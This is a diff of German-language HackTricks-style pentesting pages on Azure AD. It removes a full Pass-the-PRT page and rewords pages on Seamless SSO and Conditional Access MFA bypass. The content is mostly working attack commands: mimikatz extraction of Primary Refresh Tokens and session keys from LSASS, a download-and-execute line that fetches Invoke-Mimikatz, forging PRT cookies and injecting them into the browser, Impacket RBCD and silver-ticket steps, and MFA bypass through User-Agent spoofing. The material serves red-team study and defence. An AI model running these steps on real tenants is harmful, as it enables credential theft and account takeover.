-Im gleichen Output können Sie auch sehen, ob das **Gerät mit Azure verbunden ist** (im Feld `AzureAdJoined`):
-
-<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
-
-## PRT-Cookie
-
-Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, die durch einen `.` getrennt und alle url-sicher base64 kodiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body:
-```json
-{
-"alg": "HS256",
-"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
-}
-{
-"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
-"is_primary": "true",
-"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
-}
-```
-Der aktuelle **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt war, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen.
-
-### PRT Cookie-Fluss unter Verwendung von TPM
-
-Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Sitzungsschlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**.
-
-Der **KDF-Kontext ist** ein Nonce von AzureAD und dem PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt.
-
-Daher, selbst wenn der PRT nicht extrahiert werden kann, weil er sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
-
-<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
-
-## PRT-Missbrauchsszenarien
-
-Als **normaler Benutzer** ist es möglich, **PRT-Nutzung anzufordern**, indem man LSASS nach SSO-Daten fragt.\
-Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flows** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Azure AS-Anmeldeseiten zu authentifizieren.
-
-Als **SYSTEM** könnten Sie den PRT **stehlen, wenn er nicht durch TPM geschützt ist** oder **mit PRT-Schlüsseln in LSASS interagieren**, indem Sie Krypto-APIs verwenden.
-
-## Pass-the-PRT-Angriff Beispiele
-
-### Angriff - ROADtoken
-
-Für weitere Informationen zu dieser Methode [**prüfen Sie diesen Beitrag**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken wird **`BrowserCore.exe`** aus dem richtigen Verzeichnis ausführen und es verwenden, um ein **PRT-Cookie zu erhalten**. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und **einen persistenten Refresh-Token zu erhalten**.
-
-Um ein gültiges PRT-Cookie zu generieren, benötigen Sie zunächst ein Nonce.\
-Sie können dies mit:
-```bash
-$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
-$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
-
-$Params = @{
-"URI"     = $URL
-"Method"  = "POST"
-}
-$Body = @{
-"grant_type" = "srv_challenge"
-}
-$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
-$Result.Nonce
-AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
-```
-Oder mit [**roadrecon**](https://github.com/dirkjanm/ROADtools):
-```bash
-roadrecon auth prt-init
-```
-Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwenden, um ein neues PRT zu erhalten (führen Sie das Tool aus einem Prozess des Benutzers aus, um anzugreifen):
-```bash
-.\ROADtoken.exe <nonce>
-```
-Bitte geben Sie den Text an, den Sie übersetzen möchten.
-```bash
-Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
-```
-Dann können Sie das **generierte Cookie** verwenden, um **Tokens** zu **generieren**, um sich mit Azure AD **Graph** oder Microsoft Graph **anzumelden**:
-```bash
-# Generate
-roadrecon auth --prt-cookie <prt_cookie>
-
-# Connect
-Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
-```
-### Angriff - Verwendung von roadrecon
-
-### Angriff - Verwendung von AADInternals und einem geleakten PRT
-
-`Get-AADIntUserPRTToken` **holt das PRT-Token des Benutzers** von dem Azure AD-verbundenen oder Hybrid-verbundenen Computer. Verwendet `BrowserCore.exe`, um das PRT-Token zu erhalten.
-```bash
-# Get the PRToken
-$prtToken = Get-AADIntUserPRTToken
-
-# Get an access token for AAD Graph API and save to cache
-Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
-```
-Oder wenn Sie die Werte von Mimikatz haben, können Sie auch AADInternals verwenden, um ein Token zu generieren:
-```bash
-# Mimikat "PRT" value
-$MimikatzPRT="MC5BWU..."
-
-# Add padding
-while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
-
-# Decode
-$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
-
-# Mimikatz "Clear key" value
-$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
-
-# Convert to Byte array and B64 encode
-$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
-
-# Generate PRTToken with Nonce
-$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
-$prtToken
-## You can already use this token ac cookie in the browser
-
-# Get access token from prtToken
-$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
-
-# Verify access and connect with Az. You can see account id in mimikatz prt output
-Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
-```
-Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und füge ein neues Cookie hinzu.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-Dann gehen Sie zu [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> Der Rest sollte die Standardwerte sein. Stellen Sie sicher, dass Sie die Seite aktualisieren können und das Cookie nicht verschwindet. Wenn es das tut, haben Sie möglicherweise einen Fehler gemacht und müssen den Prozess erneut durchlaufen. Wenn nicht, sollten Sie in Ordnung sein.
-
-### Angriff - Mimikatz
-
-#### Schritte
-
-1. Das **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.
-2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) und für ein Verständnis seiner Anwendung, siehe [Pass-the-cookie attack](az-pass-the-cookie.md).
-3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für das PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token) zu signieren, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich.
-
-> [!CAUTION]
-> Beachten Sie, dass, wenn sich das PRT im TPM und nicht in `lsass` befindet, **mimikatz es nicht extrahieren kann**.\
-> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um **ein Cookie zu signieren (siehe Option 3).**
-
-Sie finden eine **detaillierte Erklärung des durchgeführten Prozesses**, um diese Details hier zu extrahieren: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
-
-> [!WARNING]
-> Dies wird nach den Korrekturen im August 2021 nicht genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer sein PRT abrufen kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf sein eigenes zugreifen kann.
-
-Sie können **mimikatz** verwenden, um das PRT zu extrahieren:
-```bash
-mimikatz.exe
-Privilege::debug
-Sekurlsa::cloudap
-
-# Or in powershell
-iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
-Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-
-<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
-
-**Kopiere** den Teil, der mit **Prt** gekennzeichnet ist, und speichere ihn.\
-Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`**-Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln.
-
-<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
-
-> [!NOTE]
-> Wenn du keine PRT-Daten siehst, könnte es sein, dass du **keine PRTs hast**, weil dein Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass du **eine alte Version** von Windows 10 verwendest.
-
-Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, damit du den **DPAPI-Masterkey zur Entschlüsselung verwenden kannst**. Du kannst die folgenden Befehle verwenden, um dies zu tun:
-```
-token::elevate
-dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-```
-<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
-
-#### Option 1 - Vollständiges Mimikatz
-
-- Jetzt möchten Sie sowohl den Kontextwert kopieren:
-
-<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
-
-- Als auch den abgeleiteten Schlüsselwert:
-
-<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
-
-- Schließlich können Sie all diese Informationen verwenden, um **PRT-Cookies zu generieren**:
-```bash
-Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
-```
-<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
-
-- Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und gib ein neues Cookie ein.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-- Gehe dann zu [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> Der Rest sollte die Standardwerte sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Prozess erneut durchlaufen. Wenn es nicht verschwindet, solltest du in Ordnung sein.
-
-#### Option 2 - roadrecon mit PRT
-
-- Erneuere zuerst das PRT, das in `roadtx.prt` gespeichert wird:
-```bash
-roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
-```
-- Jetzt können wir **Tokens anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
-```bash
-roadtx browserprtauth
-roadtx describe < .roadtools_auth
-```
-<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
-
-#### Option 3 - roadrecon mit abgeleiteten Schlüsseln
-
-Mit dem Kontext und dem von mimikatz ausgegebenen abgeleiteten Schlüssel ist es möglich, roadrecon zu verwenden, um ein neues signiertes Cookie zu generieren mit:
-```bash
-roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
-```
-## Referenzen
-
-- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
-- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
-- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md

@@ -1,14 +1,14 @@
-# Az - Nahtloses SSO
+# Az - Seamless SSO
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Nahtloses Single Sign-On (Azure AD Nahtloses SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugang zu Ihren cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
 
 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
-Im Grunde **meldet Azure AD Nahtloses SSO** Benutzer an, wenn sie sich **auf einem lokal verbundenen PC** befinden.
+Im Grunde **meldet Azure AD Seamless SSO** Benutzer an, wenn sie sich **auf einem lokal verbundenen PC** befinden.
 
 Es wird sowohl von [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) als auch von [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) unterstützt.
 
@@ -18,7 +18,7 @@ Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Pa
 
 **Entra ID** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.
 
-### Aufzählung
+### Enumeration
 ```bash
 # Check if the SSO is enabled in the tenant
 Import-Module AADInternals
@@ -40,7 +40,7 @@ $searcher.FindOne()
 > Das Wichtigste, was man über diesen Angriff wissen sollte, ist, dass es ausreicht, das TGT oder ein spezifisches TGS eines Benutzers, der mit Entra ID synchronisiert ist, zu haben, um auf die Cloud-Ressourcen zuzugreifen.\
 > Dies liegt daran, dass es ein Ticket ist, das es einem Benutzer ermöglicht, sich in der Cloud anzumelden.
 
-Um das TGS-Ticket zu erhalten, muss der Angreifer eines der folgenden Dinge haben:
+Um dieses TGS-Ticket zu erhalten, muss der Angreifer eines der folgenden Dinge haben:
 - **Ein kompromittiertes TGS eines Benutzers:** Wenn Sie die Sitzung eines Benutzers mit dem Ticket zu `HTTP/autologon.microsoftazuread-sso.com` im Speicher kompromittieren, können Sie es verwenden, um auf die Cloud-Ressourcen zuzugreifen.
 - **Ein kompromittiertes TGT eines Benutzers:** Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem gefälschten TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist.
 - **Ein kompromittierter Hash oder Passwort eines Benutzers:** SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT und dann das TGS zu generieren.
@@ -65,8 +65,7 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
 seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
 wmic useraccount get name,sid # Get the user SIDs
 ```
-Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) zu finden.
-
+Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag zu finden**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
 
 ### Abrufen der Hashes des AZUREADSSOACC$-Kontos
 
@@ -89,12 +88,12 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
 > [!NOTE]
-> Mit den aktuellen Informationen könnten Sie einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten.
-> Sie könnten auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das Sie anstelle des Kontos `AZUREADSSOACC$` nachahmen möchten.
+> Mit den aktuellen Informationen könntest du einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten.
+> Du könntest auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das du anstelle des `AZUREADSSOACC$`-Kontos nachahmen möchtest.
 
 #### Erstellen von Silver Tickets
 
-Mit dem Hash können Sie jetzt **Silver Tickets generieren**:
+Mit dem Hash kannst du jetzt **Silver Tickets generieren**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -126,7 +125,7 @@ Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werde
 - Um fortzufahren, drücken Sie entweder TAB oder ENTER.
 
 > [!WARNING]
-> Dies **umgeht nicht die MFA, wenn sie für den Benutzer aktiviert ist**.
+> Dies **umgeht nicht MFA, wenn aktiviert** für den Benutzer.
 
 
 ### On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
@@ -138,13 +137,13 @@ Um den Angriff durchzuführen, wird benötigt:
 
 
 1. Schritt 1 – Fügen Sie Ihr eigenes Computer-Konto hinzu
-- Erstellt `ATTACKBOX$` und druckt dessen SID/NTLM-Hash. Jeder Domänenbenutzer kann dies tun, solange MachineAccountQuota > 0
+- Erstellt `ATTACKBOX$` und druckt seinen SID/NTLM-Hash. Jeder Domänenbenutzer kann dies tun, solange MachineAccountQuota > 0
 ```bash
 # Impacket
 python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
 -computer ATTACKBOX$ -password S3cureP@ss
 ```
-2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
 ```bash
 python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
 ATTACKBOX$ AZUREADSSOACC$
@@ -174,7 +173,7 @@ Sie können jetzt das **TGS verwenden, um auf Azure-Ressourcen als der impersoni
 
 ### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** **auch für Cloud-nur-Benutzer erstellt werden**. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) ist.
+Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für **Cloud-nur-Benutzer** erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
 
 > [!CAUTION]
 > Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt **von Microsoft blockiert**.\

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md

@@ -4,8 +4,8 @@
 
 ## Grundlegende Informationen
 
-Azure Conditional Access-Richtlinien sind Regeln, die in Microsoft Azure eingerichtet sind, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\
-Conditional Access-Richtlinien **definieren** im Grunde **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.
+Azure Conditional Access-Richtlinien sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\
+Conditional Access-Richtlinien **definieren** im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.
 
 Hier sind ein paar Beispiele:
 
@@ -43,7 +43,7 @@ Die möglichen **Ergebnisse** sind: Zugriff blockieren oder gewähren mit potenz
 
 ### Geräteplattformen - Gerätebedingung
 
-Es ist möglich, eine Bedingung basierend auf der **Geräteplattform** (Android, iOS, Windows, macOS...) festzulegen, jedoch basiert dies auf dem **User-Agent**, sodass es leicht zu umgehen ist. Selbst wenn **alle Optionen MFA erzwingen**, wenn Sie einen **User-Agent verwenden, der nicht erkannt wird,** können Sie MFA oder die Blockierung umgehen:
+Es ist möglich, eine Bedingung basierend auf der **Geräteplattform** (Android, iOS, Windows, macOS...) festzulegen, jedoch basiert dies auf dem **User-Agent**, sodass es leicht zu umgehen ist. Selbst wenn **alle Optionen MFA erzwingen**, können Sie mit einem **User-Agent, der nicht erkannt wird,** die MFA oder Blockierung umgehen:
 
 <figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
 
@@ -60,12 +60,12 @@ Wenn dies in der bedingten Richtlinie festgelegt ist, könnte ein Angreifer einf
 
 ### Cloud-Apps
 
-Es ist möglich, **Bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:
+Es ist möglich, **bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:
 
 <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
 
 Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie **nur in eine beliebige Anwendung** gelangen können.\
-Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Dutzende von Anwendungs-IDs fest codiert** und wird versuchen, sich bei ihnen anzumelden und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist.
+Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Dutzende von Anwendungs-IDs fest codiert** und wird versuchen, sich in diese einzuloggen und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist.
 
 Um **spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen**, könnten Sie auch ein Tool wie folgendes verwenden:
 ```bash
@@ -77,9 +77,9 @@ Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wen
 
 Das Tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) könnte ebenfalls für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht.
 
-Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird es versuchen, sich bei ihnen anzumelden.
+Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird versucht, sich in diese einzuloggen.
 
-## Andere Az MFA Umgehungen
+## Weitere Az MFA Umgehungen
 
 ### Klingelton
 
@@ -90,7 +90,7 @@ Eine Azure MFA-Option besteht darin, **einen Anruf an die konfigurierte Telefonn
 
 ### Konforme Geräte
 
-Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren** könnte, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen**.
+Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren**, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen** könnte.
 
 Beginnen Sie mit der Registrierung eines **konformen Geräts in Intune**, dann **holen Sie sich das PRT** mit:
 ```bash
@@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
 Finden Sie weitere Informationen zu dieser Art von Angriff auf der folgenden Seite:
 
 {{#ref}}
-../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
+../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
 ## Tooling
@@ -114,7 +114,7 @@ Finden Sie weitere Informationen zu dieser Art von Angriff auf der folgenden Sei
 
 Dieses Skript erhält einige Benutzeranmeldeinformationen und überprüft, ob es sich bei einigen Anwendungen anmelden kann.
 
-Dies ist nützlich, um zu sehen, ob Sie **kein MFA benötigen, um sich bei einigen Anwendungen anzumelden**, die Sie später möglicherweise missbrauchen können, um **Privilegien zu eskalieren**.
+Dies ist nützlich, um zu sehen, ob Sie **kein MFA benötigen, um sich bei einigen Anwendungen anzumelden**, die Sie später möglicherweise missbrauchen, um **Privilegien zu eskalieren**.
 
 ### [roadrecon](https://github.com/dirkjanm/ROADtools)
 
@@ -124,7 +124,7 @@ roadrecon plugin policies
 ```
 ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
 
